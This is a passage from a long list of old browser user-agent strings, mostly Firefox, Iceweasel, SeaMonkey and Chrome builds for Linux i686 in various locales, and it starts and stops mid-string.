rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.12) Gecko/2009070812 Ubuntu/8.04 (hardy) Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.14) Gecko/2009082505 Red Hat/3.0.14-1.el5_4 Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.18) Gecko/2010020400 SUSE/3.0.18-0.1.1 Firefox/3.0.18 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.18) Gecko/2010021501 Firefox/3.0.18 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.19) Gecko/2010120923 Iceweasel/3.0.6 (Debian-3.0.6-3) Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.3) Gecko/2008092510 Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.4) Gecko/2008103100 SUSE/3.0.4-4.6 Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.4) Gecko/2008111616 Ubuntu/9.04 (jaunty) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.5) Gecko/2008121300 SUSE/3.0.5-1.1 Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.5) Gecko/2008121621 Ubuntu/8.04 (hardy) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.5) Gecko/2008121622 Linux Mint/6 (Felicia) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.5) Gecko/2008121622 Ubuntu Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.6) Gecko/2009020409 Iceweasel/3.0.6 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.7) Gecko/2009021906 Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.2 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.04 (hardy) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.8) Gecko/2009032811 Firefox/3.0.7 (GNU/Linux) Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009041500 SUSE/3.0.9-2.2 Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.04 (hardy) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1) Gecko/20090624 Ubuntu/8.04 (hardy) Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.1) Gecko/20090714 SUSE/3.5.1-1.1 Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.1) Gecko/20090722 Gentoo Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.10) Gecko/20100504 Lightning/1.0b1 Mnenhy/0.8.2 SeaMonkey/2.0.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.16) Gecko/20120714 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.19) Gecko/20110420 SeaMonkey/2.0.14 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.19) Gecko/20110430 Iceweasel/3.5.19 (like Firefox/3.5.19) Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.5) Gecko/20091112 Iceweasel/3.5.5 (like Firefox/3.5.5; Debian-3.5.5-1) Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091201 SUSE/3.5.6-1.1.1 Firefox/3.5.6 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 GTB7.0 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100914 SUSE/3.6.10-0.3.1 Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.10 (karmic) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.12) Gecko/20101027 Fedora/3.6.12-1.fc13 Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.13) Gecko/20101209 CentOS/3.6-2.el5.centos Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.13) Gecko/20101221 IceCat/3.6.13 (like Firefox/3.6.13) (Zenwalk GNU Linux) Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.15) Gecko/20110330 CentOS/3.6-1.el5.centos Firefox/3.6.15 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.18) Gecko/20110615 Ubuntu/10.10 (maverick) Firefox/3.6.18 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.10 (maverick) Firefox/3.6.18 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.21) Gecko/20110830 Ubuntu/10.10 (maverick) Firefox/3.6.21 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; el-GR; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-CA; rv:1.8.0.10) Gecko/20070223 Fedora/1.5.0.10-1.fc5 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-CA; rv:1.9.0.3) Gecko/2008092921 IceCat/3.0.3-g1 Mozilla/5.0 (X11; U; Linux i686; en-CA; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; en-GB) AppleWebKit/533.3 (KHTML, like Gecko) rekonq Safari/533.3 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.6) Gecko/20040113 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.10) Gecko/20050925 Firefox/1.0.4 (Debian package 1.0.4-2sarge5) Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.12) Gecko/20050920 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.12) Gecko/20051010 Firefox/1.0.4 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.13) Gecko/20060418 Fedora/1.0.8-1.1.fc4 Firefox/1.0.8 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2) Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Firefox/1.0 (Ubuntu package 1.0.2) Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.12) Gecko/20070718 Fedora/1.5.0.12-4.fc6 Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.4) Gecko/20060406 Firefox/1.5.0.4 (Debian-1.5.dfsg+1.5.0.4-1) Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.4) Gecko/20060527 SUSE/1.5.0.4-1.3 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.4) Gecko/20060605 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.5) Gecko/20060805 CentOS/1.0.3-0.el4.1.centos4 SeaMonkey/1.0.3 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.7) Gecko/20060913 Fedora/1.5.0.7-1.fc5 Firefox/1.5.0.7 pango-text Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.7) Gecko/20060913 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1) Gecko/20061031 BonEcho/2.0 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.1) Gecko/20070110 BonEcho/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.11) Gecko/20071204 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-2.1 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.16) Gecko/20080715 Ubuntu/7.10 (gutsy) Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.17) Gecko/20080827 Iceweasel/2.0.0.17 (Debian-2.0.0.17-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.17) Gecko/20080925 Fedora/1.1.12-1.fc9 SeaMonkey/1.1.12 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.2pre) Gecko/20061023 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.3 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1) Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-2) Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.3) Gecko/20070417 Fedora/2.0.0.3-4.fc7 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.6) Gecko/20070730 SUSE/2.0.0.6-2.1 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.6) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.8) Gecko/20060601 Firefox/2.0.0.8 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.8) Gecko/20071008 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.9) Gecko/20071105 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9) Gecko/2008052909 Firefox/3.0 (Linux Mint) Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9) Gecko/2008060309 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9) Gecko/2008061015 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060214 Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 GTB5 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060309 Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.13) Gecko/2009080316 Ubuntu/8.04 (hardy) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.18) Gecko/2010021501 Ubuntu/9.04 (jaunty) Firefox/3.0.18 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.19) Gecko/2010040118 Ubuntu/8.10 (intrepid) Firefox/3.0.19 GTB7.1 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc10 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.6) Gecko/2009020414 CentOS/3.0.6-1.el5.centos Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.7) Gecko/2009022800 SUSE/3.0.7-1.1 Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.04 (hardy) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.7) Gecko/2009030814 Iceweasel Firefox/3.0.7 (Debian-3.0.7-1) Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.7) Gecko/2009030814 Iceweasel/3.0.9 (Debian-3.0.9-1) Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.8) Gecko/2009032710 Ubuntu/8.04 (hardy) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.04 (hardy) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.8) Gecko/2009032713 Fedora/3.0.8-1.fc10 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.11) Gecko/20100819 Iceweasel/3.5.11 (like Firefox/3.5.11) Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.15) Gecko/20101027 Fedora/3.5.15-1.fc12 Firefox/3.5.15 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 GTB5 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 GTB6 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.11) Gecko/20101013 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 GTB7.1 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.10 (maverick) Firefox/3.6.18 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:2.0) Gecko/20110404 Fedora/16-dev Firefox/4.0 Mozilla/5.0 (X11; U; Linux i686; en-NZ; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.1 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.205.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Iron/3.0.197.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.1 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.0 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.2 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.8 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Iron/4.0.227.0 Chrome/4.0.227.0 Safari/532 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Iron/4.0.227.0 Chrome/4.0.227.0 Safari/532.3 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.277.0 Safari/532.8 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Iron/4.0.275.2 Chrome/4.0.275.2 Safari/532.8 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.2 Safari/533.4 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.416.0 Safari/534.1 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.1 SUSE/6.0.428.0 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.551.0 Safari/534.10 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.579.0 Safari/534.12 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.44 Safari/534.13 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/9.10 Chromium/9.0.592.0 Chrome/9.0.592.0 Safari/534.13 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.612.1 Safari/534.15 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.04 Chromium/10.0.612.3 Chrome/10.0.612.3 Safari/534.15 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.611.0 Chrome/10.0.611.0 Safari/534.15 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.613.0 Chrome/10.0.613.0 Safari/534.15 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Iron/10.0.650.0 Chrome/10.0.650.0 Safari/534.16 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.0 Chrome/10.0.648.0 Safari/534.16 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like 